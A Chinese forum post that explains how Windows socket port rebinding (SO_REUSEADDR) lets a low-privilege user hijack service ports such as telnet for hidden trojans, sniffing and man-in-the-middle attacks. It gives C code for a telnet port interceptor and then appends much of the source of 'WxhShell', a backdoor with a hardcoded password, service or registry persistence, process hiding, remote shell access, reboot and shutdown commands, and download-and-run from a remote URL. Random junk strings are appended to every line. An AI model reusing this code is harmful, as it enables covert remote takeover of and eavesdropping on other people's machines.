社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13593阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sX~E ~$_g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q;3`T7  
{"Sv~L|J;  
  saddr.sin_family = AF_INET; > "F-1{  
]gPx%c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -&2Z/qM&!  
U!|)M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lot`6]  
M 8WjqTq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RG45S0Ygj  
1w7tRw  
  这意味着什么?意味着可以进行如下的攻击: }kmAUaa,Z  
cF15Mm2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7/<~s]D[%  
TzaeE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p+=zl`\=|  
k(H]ILL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kQ\ $0=6N9  
q$" u<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   ?pEPwc  
)'n@A%B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rogy`mh\r2  
akbB=:M,x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2K>1,[C'Z  
n`Pl:L*kG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q.B)?wm  
tP|/Q 5s  
  #include Jp"29 )w  
  #include xW)  
  #include 2Ty]s~  
  #include    QO;Dyef7b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BT [|f[1  
  int main() f u\j  
  { u|IS7>Sm  
  WORD wVersionRequested; `"CA$Se8  
  DWORD ret; *Ze0V9$'  
  WSADATA wsaData; )KFxtM-  
  BOOL val; [&99#7B  
  SOCKADDR_IN saddr; x @43ZH_  
  SOCKADDR_IN scaddr; *.nSv@F  
  int err; aWTurnee^  
  SOCKET s; h!SsIy(  
  SOCKET sc; u $-&Im<  
  int caddsize; 2EM6k|l5  
  HANDLE mt; [G8EX3  
  DWORD tid;   } F{s\qUt  
  wVersionRequested = MAKEWORD( 2, 2 ); Ox J0. "  
  err = WSAStartup( wVersionRequested, &wsaData ); m@kLZimD  
  if ( err != 0 ) { "W+>?u)  
  printf("error!WSAStartup failed!\n"); >C_G~R  
  return -1; 3mU~G}ig  
  } O1o>eDE5A  
  saddr.sin_family = AF_INET; Zm*d)</>  
   !~C%0{9+u@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Nxt:U{`T'  
_(J#RH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y({ R\W|  
  saddr.sin_port = htons(23); %( 7##f_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9oc_*V0<  
  { eV}"L:bgJ  
  printf("error!socket failed!\n"); B \R X  
  return -1; Vc5>I_   
  } L,A+"  
  val = TRUE; -'qVnu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J(}PvkA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T=YVG@fm?  
  { '9u?lA^9$  
  printf("error!setsockopt failed!\n"); jA9uB.I,"b  
  return -1; ~-vCY  
  } AmIW$(Ce  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E'4Psx9: =  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yC$m(Y12FN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q SF0?Puf  
L~/,;PHN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f$:Y'$Z1  
  { 5B)&;[  
  ret=GetLastError(); l9uocP:D  
  printf("error!bind failed!\n"); 3 orZBT  
  return -1; `Ns@W?  
  } !{+CzUo@  
  listen(s,2); Z4Q]By:/L  
  while(1) O'(Us!aq  
  { u3qx G3  
  caddsize = sizeof(scaddr); ;8PO}{rD  
  //接受连接请求 ,*W~M&n"m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,&@GxiU  
  if(sc!=INVALID_SOCKET) ?l%4 P5  
  { |Io:D:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U)f('zD  
  if(mt==NULL) j"6|$Ze8  
  { #b*4v&<  
  printf("Thread Creat Failed!\n"); z<9C-  
  break; *;}xg{@  
  } D*2*FDGI  
  } 5QK%BiDlr  
  CloseHandle(mt); J/P[9m30[  
  } +pG+ xI  
  closesocket(s); t[+bZUS$~  
  WSACleanup(); 2F*>&n&Db7  
  return 0; zx<PX  
  }    ^cw9Yjh6  
  DWORD WINAPI ClientThread(LPVOID lpParam) v|~=rvXFC  
  { 3m75mny  
  SOCKET ss = (SOCKET)lpParam; Nzgi)xX0HX  
  SOCKET sc; v\|jkzR5Y  
  unsigned char buf[4096]; `w#VYs|k  
  SOCKADDR_IN saddr; b||usv[or  
  long num; J:W+'x`@  
  DWORD val; #pPOQv:~  
  DWORD ret; .*YF{!R`h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )B $Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %ZD]qaU0  
  saddr.sin_family = AF_INET; P\K#q%8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DgcS@N  
  saddr.sin_port = htons(23); G7Ck P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U&6A)SW,k  
  { h[qZM  
  printf("error!socket failed!\n"); ?7wcv$K5  
  return -1; -V;Y4,:c  
  } ox`Zs2-a  
  val = 100; GdUsv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wap4:wT  
  { {.kIC@^O  
  ret = GetLastError(); 'gor*-o:wu  
  return -1; Kd 1=mC  
  } ,gNZHKNq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u-&V, *3l  
  { @"NP`#  
  ret = GetLastError(); xltN-<n7  
  return -1; ^_3Ey  
  } MzUKp"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x[};x;[ZE  
  { 4+>yL+sC%v  
  printf("error!socket connect failed!\n"); bP-(N14x+  
  closesocket(sc); uQH]  
  closesocket(ss); 0J/yd  
  return -1; _!zc <&~I  
  } +`wr{kB$~  
  while(1) )/DN>rU  
  { k0=!%f_G!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WqefH{PB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +o4o!;E)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TYD( 6N  
  num = recv(ss,buf,4096,0); !m:WoQ/  
  if(num>0) #!z-)[S.+  
  send(sc,buf,num,0); e0 y.J  
  else if(num==0) y "+'4:_  
  break; cO{NiRIb  
  num = recv(sc,buf,4096,0); > "rM\ Q  
  if(num>0) %[KnpJ{\  
  send(ss,buf,num,0); nI?*[y}  
  else if(num==0) @d{}M)6\!  
  break; $!. [R}  
  } *:d ``L  
  closesocket(ss); yLLA:5Q1  
  closesocket(sc); U@).jpN  
  return 0 ; ]vB^%  
  } N[O .p]8  
} 'xGip@W  
$/ "+t.ir3  
========================================================== G"&$7!6[Y  
H +I,c1sF  
下边附上一个代码,,WXhSHELL -w2^26 ax  
[r>hK ZU2  
==========================================================  "2%R?  
l opl  
#include "stdafx.h" g zi=+oJ|4  
lwt,w<E$  
#include <stdio.h> )|v  du  
#include <string.h> -"ZNkC =  
#include <windows.h> V^FM-bg%9  
#include <winsock2.h> 6{i0i9Tb  
#include <winsvc.h> u,iiS4'Ze  
#include <urlmon.h> !-T#dU  
037\LPO  
#pragma comment (lib, "Ws2_32.lib") s1]Pv/a=y  
#pragma comment (lib, "urlmon.lib") }N -UlL(  
XelFGTE  
#define MAX_USER   100 // 最大客户端连接数 W (TTsnnx  
#define BUF_SOCK   200 // sock buffer .(Ux1.0C  
#define KEY_BUFF   255 // 输入 buffer }Y.@:v j  
5YPIv-  
#define REBOOT     0   // 重启 :| k!hG  
#define SHUTDOWN   1   // 关机 +7OE,RoQ  
W:n\,P  
#define DEF_PORT   5000 // 监听端口 4J,6cOuW4  
Mfz(%F|<  
#define REG_LEN     16   // 注册表键长度 mQ}\ptdfV  
#define SVC_LEN     80   // NT服务名长度 Eyf17  
74 ptd,  
// 从dll定义API 0P$19T N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); < hy!B4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8bMw.u=F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m8L %!6o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +1qvT_  
'p[6K'Uq5  
// wxhshell配置信息 PJKY$s.  
struct WSCFG { *vBhd2HO  
  int ws_port;         // 监听端口 o|n;{zT"  
  char ws_passstr[REG_LEN]; // 口令 Kc r)W  
  int ws_autoins;       // 安装标记, 1=yes 0=no h\#4[/  
  char ws_regname[REG_LEN]; // 注册表键名 IuPDr %  
  char ws_svcname[REG_LEN]; // 服务名 ~hk!N!J\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IA1O]i S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (*eX'^Q)d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rA<J^dX=C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :FSg%IUX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZHA&gdK@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3<FqK\P  
<F_w4!  
}; r{yIF~k@  
:/? Op  
// default Wxhshell configuration J.2BBy  
struct WSCFG wscfg={DEF_PORT, Yy[=E\z  
    "xuhuanlingzhe", oIE(`l0l  
    1, y'f-4E<  
    "Wxhshell", }1CO>a<  
    "Wxhshell", hHw1<! M  
            "WxhShell Service", aAoAjVNkK  
    "Wrsky Windows CmdShell Service", ;/m>c{  
    "Please Input Your Password: ", Y uZ  
  1, S WsD]rn  
  "http://www.wrsky.com/wxhshell.exe", gDfM}2]/  
  "Wxhshell.exe" 3H"F~_H  
    }; p(4Ek"  
Q!~1Xc0S`p  
// 消息定义模块  KYccjX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /s)It  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 25, [<Ao  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;ACeY  
char *msg_ws_ext="\n\rExit."; {QK9pZB  
char *msg_ws_end="\n\rQuit."; 4b yh,t  
char *msg_ws_boot="\n\rReboot..."; w\t  
char *msg_ws_poff="\n\rShutdown..."; 2s 9U&  
char *msg_ws_down="\n\rSave to "; 'uUa|J1mu  
?\Y7]_]/  
char *msg_ws_err="\n\rErr!"; 0x'Fi2=`  
char *msg_ws_ok="\n\rOK!"; V/OW=WCzN  
cEJ_z(\=hr  
char ExeFile[MAX_PATH]; F r2 +p  
int nUser = 0; Rx%kAt2X  
HANDLE handles[MAX_USER]; &#q%#M:  
int OsIsNt; F+xMXBD@>*  
bg4VHT7?>)  
SERVICE_STATUS       serviceStatus; <N 80MU L|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OZ Obx  
< R@&<E6  
// 函数声明 S!}pL8OE  
int Install(void); T?__  
int Uninstall(void); ~;I{d7z,;  
int DownloadFile(char *sURL, SOCKET wsh); Yic'p0< ?V  
int Boot(int flag); -IV-"-6(  
void HideProc(void); AQ.q?'vE)  
int GetOsVer(void); p-g@c wOu  
int Wxhshell(SOCKET wsl); S;vZXgyN?  
void TalkWithClient(void *cs); kr1^`>O5  
int CmdShell(SOCKET sock); d7c m?+  
int StartFromService(void); p|*b] 36  
int StartWxhshell(LPSTR lpCmdLine); @qJv  
hU2 N{Ac  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tK <)A)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H~*[v"  
&P8Q|A-u  
// 数据结构和表定义 f;ycQc@f  
SERVICE_TABLE_ENTRY DispatchTable[] = T?5F0WKi  
{ |4Q><6"G  
{wscfg.ws_svcname, NTServiceMain}, ',RR*{I  
{NULL, NULL} +n`^W(  
}; v:j4#pEWD  
P|)SXR  
// 自我安装 C$B?|oUJc  
int Install(void) ;#"`]khd  
{ gD fVY%[Z  
  char svExeFile[MAX_PATH]; pm;g)p?  
  HKEY key; 9Bmgz =8  
  strcpy(svExeFile,ExeFile); JeCEj=_Z  
L/cbq*L  
// 如果是win9x系统,修改注册表设为自启动 %^ E>~  
if(!OsIsNt) { Fn%:0j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Md m(xUs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }@A~a`9g  
  RegCloseKey(key); .~8IW,[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &9g#Vq%   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vk~}^;`Y  
  RegCloseKey(key); G}~b  
  return 0;  *JOv  
    } q`;URkjk  
  } `}Hnj*  
} 1$2Rs-J  
else { mKq9mA"(E  
`Op ";E88  
// 如果是NT以上系统,安装为系统服务 7,LT4wYH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }#u}{  
if (schSCManager!=0) L,X6L @Q  
{ 9k"nx ,"  
  SC_HANDLE schService = CreateService +~/zCJ;F  
  ( \J\1i=a-=  
  schSCManager, pK1(AV'L  
  wscfg.ws_svcname, |s`q+ U-  
  wscfg.ws_svcdisp, m :^,qC  
  SERVICE_ALL_ACCESS, G6Fg<g9:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 86} rz  
  SERVICE_AUTO_START, +l3 vIN  
  SERVICE_ERROR_NORMAL, QU4'x4YS  
  svExeFile, #6m//0 u  
  NULL, s^v,i CH {  
  NULL, "|&*MjwN6  
  NULL, B'0Il"g'  
  NULL, ,>jm|BTD {  
  NULL -s!PO;qm  
  ); $fvUb_n  
  if (schService!=0) pcl _$2_  
  { YGn:_9  
  CloseServiceHandle(schService); 02S(9^=  
  CloseServiceHandle(schSCManager); 2Uk8{d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vis?cuU/  
  strcat(svExeFile,wscfg.ws_svcname); E0h!%/+-L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @+!d@`w:z2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9_/1TjrDN  
  RegCloseKey(key); U&a]gkr  
  return 0; |)_<JAN  
    } T<=\5mn  
  } jKQP0 t-  
  CloseServiceHandle(schSCManager); :{6[U=O  
} nW%c95E  
} +1623E  
Gsh2  
return 1; dCyQCA[  
} wb9zJAsc  
}w@nZG ^&  
// 自我卸载 (6+0U1[Iz  
int Uninstall(void) tE>:kx0*3  
{ RGKJO_*J2  
  HKEY key; +[7u>RJ  
]- `{kX  
if(!OsIsNt) { =f p(hX"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g?+P&FL#I  
  RegDeleteValue(key,wscfg.ws_regname); i! nl%%  
  RegCloseKey(key); 8UZE C-K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Te/)[I'Tn  
  RegDeleteValue(key,wscfg.ws_regname); n C Z  
  RegCloseKey(key); Fy@D&j  
  return 0; d$Xvax,C  
  } U\z+{]<<  
} ?0<3"2Db~  
}  t|DYz#]  
else { >y@w-,1he  
K&h|r`W(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 33C#iR1(WJ  
if (schSCManager!=0) ;Os3 !  
{ +Snjb0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :4Vt  
  if (schService!=0) !14z4]b  
  { 0.5_,an3  
  if(DeleteService(schService)!=0) { fe$WR~  
  CloseServiceHandle(schService); (TQXG^n$gY  
  CloseServiceHandle(schSCManager); &_6:TqJ  
  return 0; f<'C<xnf  
  } G7<X l}  
  CloseServiceHandle(schService); ~}116K  
  } KP(Bu0S  
  CloseServiceHandle(schSCManager); %"6IAt  
} EIfrZg7R  
} o_5@R+&  
s'^#[%EgB  
return 1; s5dh]vNN  
} Lsz`nD5  
a`uT'g[*  
// 从指定url下载文件 1,J.  
int DownloadFile(char *sURL, SOCKET wsh) x@ O:  
{ $b$D[4  
  HRESULT hr; }R x%&29&  
char seps[]= "/"; 9+']`=a:  
char *token; z=U!D `]v  
char *file; }ie]7N6;  
char myURL[MAX_PATH]; 9.B7Owgr89  
char myFILE[MAX_PATH]; #Grm-W9E  
 ]gW J,  
strcpy(myURL,sURL); @:@rks&  
  token=strtok(myURL,seps); `4qKQJw  
  while(token!=NULL) GS H{1VS_b  
  { >A/=eW/q  
    file=token; (r4\dp&  
  token=strtok(NULL,seps); d w|0K+-PH  
  } ^b~5zhY&  
JNz0!wi  
GetCurrentDirectory(MAX_PATH,myFILE);  df'g},_  
strcat(myFILE, "\\"); L9@jmh*E  
strcat(myFILE, file); UK,P?_e  
  send(wsh,myFILE,strlen(myFILE),0); :Mk}Suf&H  
send(wsh,"...",3,0); [1U_c*;i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DvCt^O*  
  if(hr==S_OK) /WfxI>v  
return 0; I'C ,'  
else :Eyv==  
return 1; 5,Y2Lzr  
d8#j@='a*  
} 2'U9!. o  
>e;f{  
// 系统电源模块 O~el2   
int Boot(int flag) I1~g?jpH  
{ bRK9Qt#3  
  HANDLE hToken; Tjqn::~D  
  TOKEN_PRIVILEGES tkp; B .mV\W  
M}Mzm2d#`  
  if(OsIsNt) { 4;||g@f'[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cIp h$@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JPG!cX%  
    tkp.PrivilegeCount = 1; 4/?Zp4g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fna>>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g OM`I+CwT  
if(flag==REBOOT) { pS;dvZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ise}> A!t  
  return 0; ,0bM* qob  
} MVdx5,t  
else { :N}KScS|Wa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lijy?:__  
  return 0; cG:`Zj~4  
} d ] ;pG(  
  } )[*O^bPowI  
  else { pt#[.n#f  
if(flag==REBOOT) { |5Pbc&mH8A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kVv <tw  
  return 0; xF;v 6d  
} 1\0@?6`^  
else { !%r`'|9y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [B`P]}gL:  
  return 0; }HorR2(`N  
} #+0 R!Y  
} >U Lp!  
ud D[hPJd  
return 1; H@' @xHv  
} ;[ueNP%*y|  
hJsC \C,^  
// win9x进程隐藏模块 4 G[hU4L  
void HideProc(void) Yur)_m  
{ YPnJldVn  
u0b-JJ7)BQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sEyl\GL  
  if ( hKernel != NULL ) S45>f(!  
  { 5i#w:O\cz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j:3Hm0W3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h+D=/:B  
    FreeLibrary(hKernel); YWrY{6M  
  } wt S*w  
ZF (=^.gc  
return; {C6;$#7P  
} UE w3AO  
T9-a uK0d  
// 获取操作系统版本 yW?%c#9D  
int GetOsVer(void) bU`yymf{L  
{ {+9\o ~  
  OSVERSIONINFO winfo; n9!3h?,g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [)>8z8'f  
  GetVersionEx(&winfo); mp3_n:R?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x)ZH;)  
  return 1; RLNuH2y;  
  else .6o y>4  
  return 0; hP8&n9o  
} $4JX#lkt  
}tO<_f))  
// 客户端句柄模块 PM!t"[@&  
int Wxhshell(SOCKET wsl) $i~`vu*  
{ y/hvH"f  
  SOCKET wsh; :~R Fy?xRa  
  struct sockaddr_in client; fcXk]W  
  DWORD myID; .oN Sg.jG  
bCUh^#]x  
  while(nUser<MAX_USER) os^SD&hL  
{ M|e n>P  
  int nSize=sizeof(client); (Gc`3jJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l zPS RT  
  if(wsh==INVALID_SOCKET) return 1; luk2fi<$  
[Vp2!"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s FYJQ90it  
if(handles[nUser]==0) -Bv1}xf=6  
  closesocket(wsh); 9k[},MM  
else @i-@mxk6<  
  nUser++; DeQ'U!?+N  
  } ~{Rt4o _W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KVpAV$|e  
@ aN=U=  
  return 0; +{i "G,3  
} ef:$1VIBda  
lY9M<8g  
// 关闭 socket N%|Vzc  
void CloseIt(SOCKET wsh) xh^ZI6L<  
{ /M*\t.[ 46  
closesocket(wsh); 8;f<qu|w  
nUser--; PG[O?l  
ExitThread(0); o\;"|O}  
} N<"6=z@w+  
RdvTtXg  
// 客户端请求句柄 )wzs~Fn/  
void TalkWithClient(void *cs) c&?a ,fpb  
{ <ZC^H  
&t|V:_?/x  
  SOCKET wsh=(SOCKET)cs; AYu'ptDNr  
  char pwd[SVC_LEN]; G^@Jgx3n  
  char cmd[KEY_BUFF]; ?WtG|w  
char chr[1];  zn;Hs]G  
int i,j; $o$Ev@mi  
jsi#l  
  while (nUser < MAX_USER) { c$<O0dI  
To{G#QEgG  
if(wscfg.ws_passstr) { xc<eU`-' b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1S]gD&V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IH5} Az  
  //ZeroMemory(pwd,KEY_BUFF); '7LJuMp$#  
      i=0; ~EWfEHf*BJ  
  while(i<SVC_LEN) { t,1!`/\  
5QFXj)hR+4  
  // 设置超时 h*%0@  
  fd_set FdRead; \g:qQ*.  
  struct timeval TimeOut; fy=C!N&/  
  FD_ZERO(&FdRead); cU5"c)$'  
  FD_SET(wsh,&FdRead); 2T(,H.O  
  TimeOut.tv_sec=8; IQi[g~E.5  
  TimeOut.tv_usec=0; [(hvK {)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |od4kt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;n7|.O]*  
R ms01m>Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s.I1L?s1w?  
  pwd=chr[0]; lPcVhj6No%  
  if(chr[0]==0xd || chr[0]==0xa) { 5az 4NT  
  pwd=0; . (*kgv@3x  
  break; H^PqYLj N  
  } _ kSPUP5  
  i++; +V+*7s%fL  
    } r~G]2*3  
h[ZN >T  
  // 如果是非法用户,关闭 socket A;WwS?fyQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [T[9*6Kt  
} 6:@t=C  
 e(;`9T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CX ]\Q-y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @wdB%  
qzlMn)e  
while(1) { zhX`~){N6  
HMS9y%zl/  
  ZeroMemory(cmd,KEY_BUFF); & A9A#It  
#C,f/PXfaB  
      // 自动支持客户端 telnet标准   E4v_2Q -w  
  j=0; ic0v*Y$  
  while(j<KEY_BUFF) { IL>/PuZku  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,F`KQ )\"  
  cmd[j]=chr[0]; |`Oa/\U  
  if(chr[0]==0xa || chr[0]==0xd) { Y9@dZw%2  
  cmd[j]=0; Ij6Wz. *  
  break; _]D#)-uv}C  
  } ;4/dk_~p]  
  j++; D"x$^6`c}  
    } F@K*T2uh  
q ~Q)'*m  
  // 下载文件 ,JQxs7@2k  
  if(strstr(cmd,"http://")) { @X|i@{<';  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); igj={==m  
  if(DownloadFile(cmd,wsh)) oF@x]bmU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q{l*62Bx  
  else v<7Gln  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D _bkUR1  
  } +{C9uY)$vf  
  else { #[U 9(44,  
fr'huvc  
    switch(cmd[0]) { eb.cq"C  
  @( n^S?(  
  // 帮助 16[-3cJ T  
  case '?': { :B*vkwT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^QXw[th!d  
    break; zOiY0`=  
  } /\-2l+y>J  
  // 安装 ;la#Vf:]  
  case 'i': { s7.p$r  
    if(Install()) Ff Yd+]+?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8R)D! 7[l  
    else 3m43nJ.~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "'F;lzq  
    break; 0Y6q$h>4  
    } $p0 /6c  
  // 卸载 DD@)z0W  
  case 'r': { O+E1M=R6h  
    if(Uninstall()) S}m$,<x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S[L#M;n  
    else %CxEZPe$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ie$`pyj!x  
    break; ?}=-eJ(7e  
    } dDqr B-G  
  // 显示 wxhshell 所在路径 *1Ut}  
  case 'p': { W8G9rB|T  
    char svExeFile[MAX_PATH]; MS st  
    strcpy(svExeFile,"\n\r"); b@2Cl l#  
      strcat(svExeFile,ExeFile); &PRx,G5  
        send(wsh,svExeFile,strlen(svExeFile),0); &$b\=  
    break; TDAWI_83-  
    } .B 85!lCF  
  // 重启  %K%^ ]{  
  case 'b': { q?imE~&U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dq YDz  
    if(Boot(REBOOT)) 7>'uj7r]=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e' U"`)S  
    else { "xDx/d8B  
    closesocket(wsh); UK"}}nO@e  
    ExitThread(0); ':!3jZP"m  
